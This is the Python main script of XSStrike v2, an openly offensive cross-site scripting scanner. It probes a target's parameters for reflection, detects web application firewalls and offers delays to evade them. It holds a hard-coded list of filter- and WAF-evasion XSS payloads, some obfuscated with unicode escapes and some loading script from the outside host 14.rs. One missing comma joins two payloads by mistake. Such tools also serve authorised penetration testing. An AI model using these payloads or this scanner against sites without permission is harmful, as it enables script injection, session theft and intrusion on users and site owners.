#!/usr/bin/env python3

#Colors and shit like that
white = '\033[97m'
green = '\033[92m'
red = '\033[91m'
yellow = '\033[93m'
end = '\033[0m'
back = '\033[7;91m'
info = '\033[93m[!]\033[0m'
que = '\033[94m[?]\033[0m'
bad = '\033[91m[-]\033[0m'
good = '\033[32m[+]\033[0m'
run = '\033[97m[~]\033[0m'

import requests
import re # Module for RegEx
import sys # Standard system library
import os # Standard module for system related operations
import webbrowser # To open pages in "real" browers
from core.injector import inject
from core.WAF_detector import WAF_detector
from core.fuzzer import fuzzer
from core.filter_checker import filter_checker
from core.paramfinder import paramfinder
from core.make_request import make_request
from urllib.parse import parse_qs, quote_plus
from urllib.parse import urlparse as parsy
from time import sleep # To pause the program for a specific time

date = '21-07-2018'

def update():
    print('%s Checking for updates...' % run)
    xsstrike = requests.get('http://github.com/UltimateHackers/XSStrike/blob/master/xsstrike').text
    if date not in xsstrike:
        choice = input('%s A new version of XSStrike is available. Would you like to update? [Y/n] ' % que).lower()
        if choice != 'n':
            os.system('cd .. && rm -r XSStrike && git clone https://github.com/UltimateHackers/XSStrike')

xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
paranames = [] # list for storing parameter names
paravalues = [] # list for storing parameter values 

NUM_REFLECTIONS = 0 # Number of reflections
OCCURENCE_NUM = 0 # Occurence number
OCCURENCE_PARSED = 0 # Occurence parsed by the parser

occur_number = []
occur_location = []

delay = 0

payloads = [ # Payloads for filter & WAF evasion
'\'"</Script><Html Onmouseover=(confirm)()//'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
'<deTails open oNToggle=confi\u0072m()>',
'<img sRc=l oNerrOr=(confirm)() x>',
'<svg/x=">"/onload=confirm()//',
'<svg%0Aonload=%09((pro\u006dpt))()//',
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
'<sCript x>confirm``</scRipt x>',
'<Script x>prompt()</scRiPt x>',
'<sCriPt sRc=//14.rs>',
'<embed//sRc=//14.rs>',
'<base href=//14.rs/><script src=/>',
'<object//data=//14.rs>',
'<s=" onclick=confirm``>clickme',
'<svG oNLoad=co\u006efirm&#x28;1&#x29>',
'\'"><y///oNMousEDown=((confirm))()>Click',
'<a/href=javascript&colon;co\u006efirm&#40;&quot;1&quot;&#41;>clickme</a>',
'<img src=x onerror=confir\u006d`1`>',
'<svg/onload=co\u006efir\u006d`1`>']

# Banner
print('''  %s____  ___  _________ _________ __          __ __           
  \   \/  / /   _____//   _____//  |________|__|  | __ ____  
  %s \     /  \_____  \ \_____  \\\\   __\_  __ \  |  |/ // __ \ 
   /     \  /        \/        \|  |  |  | \/  |    <\  ___/%s 
  /___/\  \/_______  /_______  /|__|  |__|  |__|__|_ \\\\___  >
        \_/        \/        \/                     \/    \/ v2%s.%s0%s\n''' % (white,red,white,red,white, end))

##################
#   Locater
##################

def html_parser(response):
    parts = response.split(xsschecker)
    parts.remove(parts[0])
    parts = [xsschecker + s for s in parts]
    number = 0
    for part in parts:
        number = number + 1
        deep = part.split('>')
        if '</script' in deep[0]:
            location = 'script'
        elif '</' in deep[0]:
            location = 'html'
        elif deep[0][:2] == '--':
            location = 'comment'
        else:
            location = 'attribute'
        occur_location.append(location)
        occur_number.append(number)

def locater(url, param_data, method, cookie):
    sleep(delay) # Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
    response = make_request(url, param_data, method, cookie) # Makes request to the target
    if(xsschecker in response.lower()): # if the xsschecker is found in the response
        global NUM_REFLECTIONS # The number of reflections of xsschecker in the response
        NUM_REFLECTIONS = response.lower().count(xsschecker.lower()) # Counts number of time d3v got reflected in webpage
        print('%s Number of reflections found: %i' % (info, NUM_REFLECTIONS))
        html_parser(response)
        return True
    else:
        return False

###################
#   Param Parser
###################

def param_parser(target, param_data, method):
    global url
    if method == 'POST':
        target = target + '?' + param_data
    parsed_url = parsy(target)
    url = parsed_url.scheme+'://'+parsed_url.netloc+parsed_url.path
    parameters = parse_qs(parsed_url.query, keep_blank_values=True)
    for para in parameters:
        for i in parameters[para]:
            paranames.append(para)
            paravalues.append(i)

##################
#   Initiator
##################

def initiator(url, method, cookie):
    choice = input('%s Would you like to look for hidden parameters? [y/N] ' % que)
    if choice == 'y':
        paramfinder(url, method, paranames, paravalues, xsschecker, cookie)
    if len(paranames) == 0:
        print('%s No parameters to test.' % bad)
        quit()
    else:
        if method == 'GET':
            WAF = WAF_detector(url, '?'+paranames[0]+'='+xsschecker, method, xsschecker, cookie)
            current_param = 0
            for param_name in paranames:
                print(('%s-%s' % (red, end)) * 50)
                print('%s Testing parameter %s%s%s' % (run, green, param_name, end))
                
                paranames_combined = []
                for param_name, param_value in zip(paranames, paravalues):
                    paranames_combined.append('&' + param_name + '=' + param_value)
                
                new_param_data = []
                current = '&' + paranames[current_param] + '='
                for i in paranames_combined:
                    if current in i:
                        pass
                    else:
                        new_param_data.append(i)
                
                param_data = '?' + paranames[current_param] + '=' + xsschecker + ''.join(new_param_data)
                delay = 0
                if WAF:
                    choice = input('%s A WAF is active on the target. Would you like to delay requests to evade suspicion? [y/N] ' % que)
                    if choice == 'y':
                        delay = 6
                    fuzzer(url, param_data, method, delay, xsschecker, cookie) #Launches fuzzer aka Ninja
                if not locater(url, param_data, method, cookie): # Launcher locater
                    print ('%s No reflection found.' % bad)
                else:
                    filter_checker(url, param_data, method, delay, xsschecker, cookie) # Launces filter checker
                    inject(url, param_data, method, occur_number, occur_location, cookie) # Launches injector
                del occur_number[:] # Clears the occur_number list
                del occur_location[:] # Clears the occur_location list
                current_param = current_param + 1

        elif method == 'POST':
            WAF = WAF_detector(url, '?'+paranames[0]+'='+xsschecker, method, xsschecker, cookie)
            current_param = 0
            for param_name in paranames:
                print(('%s-%s' % (red, end)) * 50)
                print('%s Testing parameter %s%s%s' % (run, green, param_name, end))
                paranames_combined = []
                new_param_data = []
                for param_name, param_value in zip(paranames, paravalues):
                    paranames_combined.append('&' + param_name + '=' + param_value)
                current = '&' + paranames[current_param] + '='
                for i in paranames_combined:
                    if current in i:
                        pass
                    else:
                        new_param_data.append(i)
                param_data = paranames[current_param] + '=' + xsschecker + ''.join(new_param_data)
                delay = 0
                if WAF:
                    choice = input('%s A WAF is active on the target. Would you like to delay requests to evade suspicion? [y/N] ' % que)
                    if choice == 'y':
                        delay = 6
                    fuzzer(url, param_data, method, delay, xsschecker, cookie) # Launches fuzzer aka Ninja
                if not locater(url, param_data, method, cookie): # Launcher locater
                    print ('%s No reflection found.' % bad)
                else:
                    filter_checker(url, param_data, method, delay, xsschecker, cookie) # Launches filter checker
                    inject(url, param_data, method, occur_number, occur_location, cookie) # Launches injector
                del occur_number[:] # Clears the occur_number list
                del occur_location[:] # Clears the occur_location list
                current_param = current_param + 1

##############
#   Input
##############

def main():
    target = input('%s Enter a url: ' % que)
    cook = input('%s Enter cookie (if any): ' % que)
    cookie = {'Cookie' : cook}
    if 'http' in target: # if the target has http in it, do nothing
        pass
    else:
        try:
            requests.get('http://%s' % target, cookies=cookie) # Makes request to the target with http schema
            target = 'http://%s' % target
        except: # if it fails, maybe the target uses https schema
            target = 'https://%s' % target

    try:
        requests.get(target, cookies=cookie) # Makes request to the target
    except Exception as e: # if it fails, the target is unreachable
        if 'ssl' in str(e).lower():
            target = 'http://%s' % target
        else:
            print('%s Unable to connect to the target.' % bad)
            quit()
    
    if '=' in target: # A url with GET request must have a = so...
        method = 'GET'
        param_data = ''
        param_parser(target, param_data, method)
        initiator(url, method, cookie)
    else:
        choice = input('%s Does it use POST method? [Y/n] ' % que).lower()
        if choice == 'n':
            method = 'GET'
            initiator(target, method, cookie)
        else:
            method = 'POST'
            param_data = input('%s Enter POST data: ' % que)
            param_parser(target, param_data, method)
            initiator(url, method, cookie)

main() #This is the true start of the program
